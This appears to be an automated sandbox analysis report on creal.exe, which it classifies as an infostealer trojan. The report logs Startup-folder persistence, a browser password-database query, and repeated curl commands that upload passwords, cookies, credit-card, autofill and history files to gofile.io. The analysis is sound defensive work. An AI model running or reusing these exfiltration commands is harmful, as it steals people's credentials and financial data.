Source: creal.exe, 00000002.00000002.1588864038.00007FF8F7A0B000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: OriginalFilename_overlapped.pyd. vs creal.exe
Source: creal.exe, 00000002.00000002.1580184092.00007FF8E717E000.00000002.00000001.01000000.00000016.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs creal.exe
Source: creal.exe, 00000002.00000002.1590566354.00007FF8F8BC9000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs creal.exe
Source: creal.exe, 00000002.00000002.1581212869.00007FF8E7290000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilenamelibsslH vs creal.exe
Source: creal.exe, 00000002.00000002.1583155038.00007FF8E7783000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs creal.exe
Source: creal.exe, 00000002.00000002.1555010440.00000185BB290000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilenamepython3.dll. vs creal.exe
Source: creal.exe, 00000002.00000002.1580522682.00007FF8E71BD000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: OriginalFilenamepyexpat.pyd. vs creal.exe
Source: creal.exe, 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs creal.exe
Source: creal.exe, 00000002.00000002.1587677037.00007FF8E8003000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs creal.exe
Source: creal.exe, 0000001A.00000003.1541448676.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs creal.exe
Source: creal.exe, 0000001A.00000003.1544118293.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_overlapped.pyd. vs creal.exe
Source: creal.exe, 0000001A.00000003.1544673920.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs creal.exe
Source: creal.exe, 0000001A.00000003.1542237696.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs creal.exe
Source: creal.exe, 0000001A.00000003.1543067956.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs creal.exe
Source: creal.exe, 0000001A.00000003.1545277030.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_uuid.pyd. vs creal.exe
Source: creal.exe, 0000001A.00000003.1543955907.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_multiprocessing.pyd. vs creal.exe
Source: creal.exe, 0000001A.00000003.1541833635.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140_1.dllT vs creal.exe
Source: creal.exe, 0000001A.00000003.1762255137.0000025EFD911000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewin32api.pyd0 vs creal.exe
Source: creal.exe, 0000001A.00000003.1543399953.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs creal.exe
Source: creal.exe, 0000001A.00000003.1544286288.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs creal.exe
Source: creal.exe, 0000001A.00000003.1543628592.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs creal.exe
Source: creal.exe, 0000001A.00000003.1545277030.0000025EFD911000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs creal.exe
Source: creal.exe, 0000001A.00000003.1542028020.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_asyncio.pyd. vs creal.exe
Source: creal.exe, 0000001A.00000003.1542758249.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs creal.exe
Source: creal.exe, 0000001A.00000003.1545461593.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_wmi.pyd. vs creal.exe
Source: creal.exe	Binary or memory string: OriginalFilename vs creal.exe

Source: classification engine

Classification label: mal100.troj.adwa.spyw.evad.winEXE@76/190@4/5

Source: C:\Users\user\Desktop\creal.exe

Code function: 0_2_00007FF67A608570 GetLastError,FormatMessageW,WideCharToMultiByte,

0_2_00007FF67A608570

Source: C:\Users\user\Desktop\creal.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1760:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6684:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2968:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5316:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7656:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6844:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2572:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3972:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6060:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5652:120:WilError_03

Source: C:\Users\user\Desktop\creal.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI75242

Jump to behavior

Source: creal.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\creal.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Architecture FROM Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Architecture FROM Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\creal.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: creal.exe, 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: creal.exe, 00000002.00000002.1568895664.00000185BC5F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT action_url, username_value, password_value FROM logins;
Source: creal.exe, 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: creal.exe, 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: creal.exe, 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: creal.exe	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: creal.exe, 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: creal.exe, 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: creal.exe	Virustotal: Detection: 79%
Source: creal.exe	ReversingLabs: Detection: 75%

Source: C:\Users\user\Desktop\creal.exe

File read: C:\Users\user\Desktop\creal.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\creal.exe "C:\Users\user\Desktop\creal.exe"
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Users\user\Desktop\creal.exe "C:\Users\user\Desktop\creal.exe"
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Users\user\Desktop\creal.exe "C:\Users\user\Desktop\creal.exe"	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile

Source: C:\Users\user\Desktop\creal.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
